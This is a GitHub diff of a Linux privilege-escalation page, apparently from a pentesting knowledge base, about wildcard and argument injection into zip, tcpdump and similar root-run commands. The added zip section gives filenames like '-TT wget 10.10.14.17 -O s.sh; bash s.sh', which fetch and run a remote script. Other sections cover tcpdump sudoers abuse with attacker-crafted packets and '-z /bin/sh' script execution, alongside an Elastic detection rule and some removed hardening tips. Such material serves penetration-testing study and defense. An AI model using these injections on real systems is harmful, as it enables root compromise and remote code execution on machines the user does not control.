You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
+87-17Lines changed: 87 additions & 17 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -95,13 +95,32 @@ If root executes something like:
95
95
96
96
## zip
97
97
98
-
`zip` supports the flag `--unzip-command` that is passed *verbatim* to the system shell when the archive will be tested:
98
+
Two very practical primitives exist when an application passes user-controlled filenames to `zip` (either via a wildcard or by enumerating names without `--`).
99
+
100
+
- RCE via test hook: `-T` enables “test archive” and `-TT <cmd>` replaces the tester with an arbitrary program (long form: `--unzip-command <cmd>`). If you can inject filenames that start with `-`, split the flags across distinct filenames so short-options parsing works:
101
+
102
+
```bash
103
+
# Attacker-controlled filenames (e.g., in an upload directory)
104
+
# 1) A file literally named: -T
105
+
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
106
+
# 3) Any benign file to include (e.g., data.pcap)
107
+
# When the privileged code runs: zip out.zip <files...>
108
+
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x
109
+
```
110
+
111
+
Notes
112
+
- Do NOT try a single filename like `'-T -TT <cmd>'` — short options are parsed per character and it will fail. Use separate tokens as shown.
113
+
- If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path `/index.html`) and save locally with `-O`, then execute.
114
+
- You can debug parsing with `-sc` (show processed argv) or `-h2` (more help) to understand how your tokens are consumed.
115
+
116
+
Example (local behavior on zip 3.0):
99
117
100
118
```bash
101
-
zip result.zip files -T --unzip-command "sh -c id"
119
+
zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap # fails to parse
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
123
+
- Data exfil/leak: If the web layer echoes `zip` stdout/stderr (common with naive wrappers), injected flags like `--help` or failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.
- If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger `-z /bin/sh /path/script.sh` or `-z /path/script.sh` depending on platform semantics.
160
179
- Some vendor wrappers rotate to attacker-controllable locations. If you can influence the rotated path (symlink/directory traversal), you can steer `-z` to execute content you fully control without external media.
161
180
162
-
Hardening tips for vendors:
181
+
---
182
+
183
+
## sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root
2.**Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
173
-
3.**Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`.
174
-
4.**Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
175
-
5.**Monitoring**: Elastic’s pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs.
225
+
```bash
226
+
# On attacker box: craft a UDP packet stream that carries the target line
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
0 commit comments